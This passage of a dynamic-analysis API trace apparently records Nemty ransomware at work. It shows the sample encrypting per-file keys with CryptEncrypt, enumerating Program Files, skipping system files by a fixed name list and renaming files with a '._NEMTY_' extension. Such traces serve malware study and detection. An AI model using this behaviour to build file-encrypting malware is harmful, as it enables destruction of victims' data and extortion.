RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.025] GetLastError () returned 0xb7 [0071.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0071.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0071.025] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0071.025] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0071.025] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0071.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0071.025] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="YB4Sa5q4q/DTcgM5KTv/54kcfSpDrYXp7Vagy5KlQG/hoaciIPsijdLv2dZ9P5oL\r\njlAVg1dAX1QM0e1Dd/ZblhSqqivTxLw0Eyr6hBlc8tC9hePxQWvf87uGyhBEisgc\r\nUcz9xS6yio+bhvFk0ySSGK86hdsxu6VywwOi7gT+yINnU0NtcuZabqKHQOToNgee\r\nAIUsdD6AcP9EN3tcNgLtuJO40xOQ6x4Btd6dDgUae0V1IyRkUmFlBkcBDA+lAJ+1\r\n4nlWkkCMsHvCj6/PuvewGMGikkwtKJ/571vjjsD6DG/POCSO4TsmGasijqmn/+Jb\r\nAx5f3jtjp5BIt8DvrYufuQ==\r\n", pcchString=0x653e91c) returned 1 [0071.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0071.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0071.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0071.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0071.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0071.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0071.025] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0071.026] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0071.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0071.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.026] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.045] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.045] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.074] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.102] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.102] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0071.133] CloseHandle (hObject=0xffffffff) returned 0 [0071.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0071.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0071.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0071.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0071.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0071.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0071.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0071.133] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png._nemty_kgobjgd_")) returned 0 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0071.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0071.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.134] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2=".") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="..") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="...") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="windows") returned -1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="rsa") returned -1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="NTDETECT.COM") returned -1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="ntldr") returned -1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="MSDOS.SYS") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="IO.SYS") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="ntuser.dat") returned -1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="desktop.ini") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="CONFIG.SYS") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="RECYCLER") returned -1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="bootmgr") returned 1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="programdata") returned -1 [0071.134] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="appdata") returned 1 [0071.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0071.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0071.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0071.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0071.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0071.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0071.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0071.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0071.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0071.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0071.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0071.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0071.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0071.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0071.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0071.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0071.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0071.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0071.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0071.135] Sleep (dwMilliseconds=0x5) [0071.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde0e2410, dwHighDateTime=0x1d561e7)) [0071.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde0e2410, dwHighDateTime=0x1d561e7)) [0071.149] GetLastError () returned 0x5 [0071.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.149] GetLastError () returned 0x5 [0071.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0071.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0071.150] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0071.150] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0071.150] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0071.150] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="WPKnO8X3I8IIoxjf2uJOmBVU/CBc4jsvYH2/e8jFZCN7+P5IEL+CJYyvq54lwC0v\r\nzOb3JZDtAO1CjTMhiVJH8FaVp6W6+YHVQvDuR28M+oEuLs3wfz5h9qoy+ZO8z0Pr\r\nZpkixcctycbs1gR9jTzAnUxsFDnDmHz1xIjD+XMjLbPkxASXrXaoot383A8ilWjw\r\nBn9883jKbSLiqIfQAhl12jjXuh69PcVJYV0tkDXGg+oawGwGfoF/ZcR41/3oFYPi\r\nwhvpNdNe05Ne53JGaxXzyoidlSFBYbFhadafP+LkgLom2yPZZeVWu2q+sxCuM+VM\r\nUGwf615QFVdtC99ulsikQw==\r\n", pcchString=0x653e91c) returned 1 [0071.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0071.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0071.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0071.150] RtlAllocateHeap 